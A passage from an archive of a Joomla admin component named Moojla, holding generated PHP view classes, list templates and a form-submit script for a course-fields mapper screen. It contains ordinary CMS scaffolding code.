				'batch[published]',
				JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
			);
		}

		if ($this->canBatch && $this->canCreate &&
$this->canEdit)
		{
			// Category Batch selection.
			JHtmlBatch_::addListSelection(
				JText::_('COM_MOOJLA_KEEP_ORIGINAL_CATEGORY'),
				'batch[category]',
				JHtml::_('select.options',
JHtml::_('category.options', 'com_moojla.course'),
'value', 'text')
			);
		}
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_('COM_MOOJLA_COURSES'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/courses.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 50)
		{
			// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key
and display text as value
	 */
	protected function getSortFields()
	{
		return array(
			'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
			'a.published' => JText::_('JSTATUS'),
			'a.shortname' =>
JText::_('COM_MOOJLA_COURSE_SHORTNAME_LABEL'),
			'a.fullname' =>
JText::_('COM_MOOJLA_COURSE_FULLNAME_LABEL'),
			'category_title' =>
JText::_('COM_MOOJLA_COURSE_COURSES_CATEGORIES'),
			'a.id' => JText::_('JGRID_HEADING_ID')
		);
	}
}
views/course_fields_mapper/index.html000064400000000054151165724410014075
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/course_fields_mapper/tmpl/default.php000064400000007317151165724410015222
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen',
'.multipleAccessLevels', null,
array('placeholder_text_multiple' => '- ' .
JText::_('COM_MOOJLA_FILTER_SELECT_ACCESS') . ' -'));
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
	$saveOrderingUrl =
'index.php?option=com_moojla&task=course_fields_mapper.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable',
'course_field_mapperList', 'adminForm',
strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=course_fields_mapper');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
<?php
	// Add the searchtools
	echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
	<div class="alert alert-no-items">
		<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
	</div>
<?php else : ?>
	<table class="table table-striped"
id="course_field_mapperList">
		<thead><?php echo
$this->loadTemplate('head');?></thead>
		<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
		<tbody><?php echo
$this->loadTemplate('body');?></tbody>
	</table>
	<?php // Load the batch processing form. ?>
	<?php if ($this->canCreate && $this->canEdit) : ?>
		<?php echo JHtml::_(
			'bootstrap.renderModal',
			'collapseModal',
			array(
				'title' =>
JText::_('COM_MOOJLA_COURSE_FIELDS_MAPPER_BATCH_OPTIONS'),
				'footer' =>
$this->loadTemplate('batch_footer')
			),
			$this->loadTemplate('batch_body')
		); ?>
	<?php endif; ?>
	<input type="hidden" name="boxchecked"
value="0" />
	</div>
<?php endif; ?>
	<input type="hidden" name="task" value=""
/>
	<?php echo JHtml::_('form.token'); ?>
</form>
<script type="text/javascript">
// course_fields_mapper footer script
/***[JCBGUI.admin_view.javascript_views_footer.138.$$$$]***/
jQuery(document).ready(function($){  	
	$('#course_field_mapperList tbody tr
td:nth-child(5)').each(function(){ 
      	var imgPath = '<?php echo JURI::root(true) .
"/";?>' + $(this).text();
      	$(this).html('<img rel="popover" src="'+
imgPath +'" width="30" data-img="'+ imgPath
+'" />');
    });  
  	$('img[rel=popover]').popover({
      html: true,
      trigger: 'hover',
      placement: 'bottom',
      content: function(){return '<img
src="'+$(this).data('img') + '"
/>';}
    });
});
/***[/JCBGUI$$$$]***/

</script>
views/course_fields_mapper/tmpl/default_batch_body.php000064400000002347151165724410017376
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>

<p><?php echo
JText::_('COM_MOOJLA_COURSE_FIELDS_MAPPER_BATCH_TIP');
?></p>
<?php echo $this->batchDisplay;
?>views/course_fields_mapper/tmpl/default_batch_footer.php000064400000002745151165724410017741
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_footer.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('course_field_mapper.batch');">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/course_fields_mapper/tmpl/default_body.php000064400000010066151165724410016232
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

$edit =
"index.php?option=com_moojla&view=course_fields_mapper&task=course_field_mapper.edit";

?>
<?php foreach ($this->items as $i => $item): ?>
	<?php
		$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
		$userChkOut = JFactory::getUser($item->checked_out);
		$canDo =
MoojlaHelper::getActions('course_field_mapper',$item,'course_fields_mapper');
	?>
	<tr class="row<?php echo $i % 2; ?>">
		<td class="order nowrap center hidden-phone">
		<?php if ($canDo->get('core.edit.state')): ?>
			<?php
				$iconClass = '';
				if (!$this->saveOrder)
				{
					$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
				}
			?>
			<span class="sortable-handler<?php echo $iconClass;
?>">
				<i class="icon-menu"></i>
			</span>
			<?php if ($this->saveOrder) : ?>
				<input type="text" style="display:none"
name="order[]" size="5"
				value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
			<?php endif; ?>
		<?php else: ?>
			&#8942;
		<?php endif; ?>
		</td>
		<td class="nowrap center">
		<?php if ($canDo->get('core.edit')): ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('grid.id', $i, $item->id); ?>
					<?php else: ?>
						&#9633;
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('grid.id', $i, $item->id); ?>
				<?php endif; ?>
		<?php else: ?>
			&#9633;
		<?php endif; ?>
		</td>
		<td class="nowrap">
			<div class="name">
				<?php if ($canDo->get('core.edit')): ?>
					<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo
$this->escape($item->coursefield_name); ?></a>
					<?php if ($item->checked_out): ?>
						<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time,
'course_fields_mapper.', $canCheckin); ?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo $this->escape($item->coursefield_name); ?>
				<?php endif; ?>
			</div>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->mcoursefields_id); ?>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->field_icon); ?>
		</td>
		<td class="center">
		<?php if ($canDo->get('core.edit.state')) : ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'course_fields_mapper.', true,
'cb'); ?>
					<?php else: ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'course_fields_mapper.', false,
'cb'); ?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'course_fields_mapper.', true,
'cb'); ?>
				<?php endif; ?>
		<?php else: ?>
			<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'course_fields_mapper.', false, 'cb'); ?>
		<?php endif; ?>
		</td>
		<td class="nowrap center hidden-phone">
			<?php echo $item->id; ?>
		</td>
	</tr>
<?php endforeach;
?>views/course_fields_mapper/tmpl/default_foot.php000064400000002304151165724410016240
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_foot.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<td colspan="7"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/course_fields_mapper/tmpl/default_head.php000064400000005016151165724410016175
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_head.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<?php if ($this->canEdit&& $this->canState): ?>
		<th width="1%" class="nowrap center
hidden-phone">
			<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
		</th>
		<th width="20" class="nowrap center">
			<?php echo JHtml::_('grid.checkall'); ?>
		</th>
	<?php else: ?>
		<th width="20" class="nowrap center
hidden-phone">
			&#9662;
		</th>
		<th width="20" class="nowrap center">
			&#9632;
		</th>
	<?php endif; ?>
	<th class="nowrap" >
			<?php echo
JText::_('COM_MOOJLA_COURSE_FIELD_MAPPER_COURSEFIELD_LABEL');
?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo
JText::_('COM_MOOJLA_COURSE_FIELD_MAPPER_MCOURSEFIELDS_LABEL');
?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo
JText::_('COM_MOOJLA_COURSE_FIELD_MAPPER_FIELD_ICON_LABEL');
?>
	</th>
	<?php if ($this->canState): ?>
		<th width="10" class="nowrap center" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_FIELD_MAPPER_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
		</th>
	<?php else: ?>
		<th width="10" class="nowrap center" >
			<?php echo
JText::_('COM_MOOJLA_COURSE_FIELD_MAPPER_STATUS'); ?>
		</th>
	<?php endif; ?>
	<th width="5" class="nowrap center hidden-phone"
>
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_FIELD_MAPPER_ID', 'a.id',
$this->listDirn, $this->listOrder); ?>
	</th>
</tr>views/course_fields_mapper/tmpl/default_toolbar.php000064400000007067151165724410016746
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_toolbar.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<div id="filter-bar" class="btn-toolbar">
        <div class="filter-search btn-group pull-left">
            <label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
            <input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search Course_fields_mapper'); ?>"
/>
        </div>
        <div class="btn-group pull-left">
            <button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
            <button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
            <?php echo $this->pagination->getLimitBox(); ?>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
            <select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
                <option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
                <option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
            </select>
        </div>
        <div class="btn-group pull-right">
            <label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
            <select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
                <?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
            </select>
        </div>
    </div>
<div class="clearfix">
</div>views/course_fields_mapper/tmpl/index.html000064400000000054151165724410015051
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/course_fields_mapper/view.html.php000064400000017041151165724410014532
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Moojla View class for the Course_fields_mapper
 */
class MoojlaViewCourse_fields_mapper extends JViewLegacy
{
	/**
	 * Course_fields_mapper view display method
	 * @return void
	 */
	function display($tpl = null)
	{
		if ($this->getLayout() !== 'modal')
		{
			// Include helper submenu
			MoojlaHelper::addSubmenu('course_fields_mapper');
		}

		// Assign data to the view
		$this->items = $this->get('Items');
		$this->pagination = $this->get('Pagination');
		$this->state = $this->get('State');
		$this->user = JFactory::getUser();
		// Load the filter form from xml.
		$this->filterForm = $this->get('FilterForm');
		// Load the active filters.
		$this->activeFilters = $this->get('ActiveFilters');
		// Add the list ordering clause.
		$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
		$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
		$this->saveOrder = $this->listOrder == 'a.ordering';
		// set the return here value
		$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
		// get global action permissions
		$this->canDo =
MoojlaHelper::getActions('course_field_mapper');
		$this->canEdit = $this->canDo->get('core.edit');
		$this->canState =
$this->canDo->get('core.edit.state');
		$this->canCreate = $this->canDo->get('core.create');
		$this->canDelete = $this->canDo->get('core.delete');
		$this->canBatch = $this->canDo->get('core.batch');

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();
			$this->sidebar = JHtmlSidebar::render();
			// load the batch html
			if ($this->canCreate && $this->canEdit &&
$this->canState)
			{
				$this->batchDisplay = JHtmlBatch_::render();
			}
		}
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}

	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JToolBarHelper::title(JText::_('COM_MOOJLA_COURSE_FIELDS_MAPPER'),
'screwdriver');
		JHtmlSidebar::setAction('index.php?option=com_moojla&view=course_fields_mapper');
		JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');

		if ($this->canCreate)
		{
			JToolBarHelper::addNew('course_field_mapper.add');
		}

		// Only load if there are items
		if (MoojlaHelper::checkArray($this->items))
		{
			if ($this->canEdit)
			{
				JToolBarHelper::editList('course_field_mapper.edit');
			}

			if ($this->canState)
			{
				JToolBarHelper::publishList('course_fields_mapper.publish');
				JToolBarHelper::unpublishList('course_fields_mapper.unpublish');
				JToolBarHelper::archiveList('course_fields_mapper.archive');

				if ($this->canDo->get('core.admin'))
				{
					JToolBarHelper::checkin('course_fields_mapper.checkin');
				}
			}

			// Add a batch button
			if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
			{
				// Get the toolbar object instance
				$bar = JToolBar::getInstance('toolbar');
				// set the batch button name
				$title = JText::_('JTOOLBAR_BATCH');
				// Instantiate a new JLayoutFile instance and render the batch button
				$layout = new JLayoutFile('joomla.toolbar.batch');
				// add the button to the page
				$dhtml = $layout->render(array('title' => $title));
				$bar->appendButton('Custom', $dhtml, 'batch');
			}

			if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
			{
				JToolbarHelper::deleteList('',
'course_fields_mapper.delete', 'JTOOLBAR_EMPTY_TRASH');
			}
			elseif ($this->canState && $this->canDelete)
			{
				JToolbarHelper::trash('course_fields_mapper.trash');
			}

			if ($this->canDo->get('core.export') &&
$this->canDo->get('course_field_mapper.export'))
			{
				JToolBarHelper::custom('course_fields_mapper.exportData',
'download', '', 'COM_MOOJLA_EXPORT_DATA',
true);
			}
		}

		if ($this->canDo->get('core.import') &&
$this->canDo->get('course_field_mapper.import'))
		{
			JToolBarHelper::custom('course_fields_mapper.importData',
'upload', '', 'COM_MOOJLA_IMPORT_DATA',
false);
		}

		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('course_fields_mapper');
		if (MoojlaHelper::checkString($help_url))
		{
				JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}

		// add the options comp button
		if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
		{
			JToolBarHelper::preferences('com_moojla');
		}

		// Only load published batch if state and batch is allowed
		if ($this->canState && $this->canBatch)
		{
			JHtmlBatch_::addListSelection(
				JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
				'batch[published]',
				JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
			);
		}

		// Only load access batch if create, edit and batch is allowed
		if ($this->canBatch && $this->canCreate &&
$this->canEdit)
		{
			JHtmlBatch_::addListSelection(
				JText::_('COM_MOOJLA_KEEP_ORIGINAL_ACCESS'),
				'batch[access]',
				JHtml::_('select.options',
JHtml::_('access.assetgroups'), 'value',
'text')
			);
		}
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_('COM_MOOJLA_COURSE_FIELDS_MAPPER'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/course_fields_mapper.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 50)
		{
			// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key
and display text as value
	 */
	protected function getSortFields()
	{
		return array(
			'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
			'a.published' => JText::_('JSTATUS'),
			'a.id' => JText::_('JGRID_HEADING_ID')
		);
	}
}
views/course_field_mapper/submitbutton.js000064400000002760151165724410015020
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		submitbutton.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

Joomla.submitbutton = function(task)
{
	if (task == ''){
		return false;
	} else { 
		var action = task.split('.');
		if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
			Joomla.submitform(task, document.getElementById("adminForm"));
			return true;
		} else {
			alert(Joomla.JText._('course_field_mapper, some values are not
acceptable.','Some values are unacceptable'));
			return false;
		}
	}
}views/course_field_mapper/tmpl/edit.php000064400000011352151165724410014332
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		edit.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
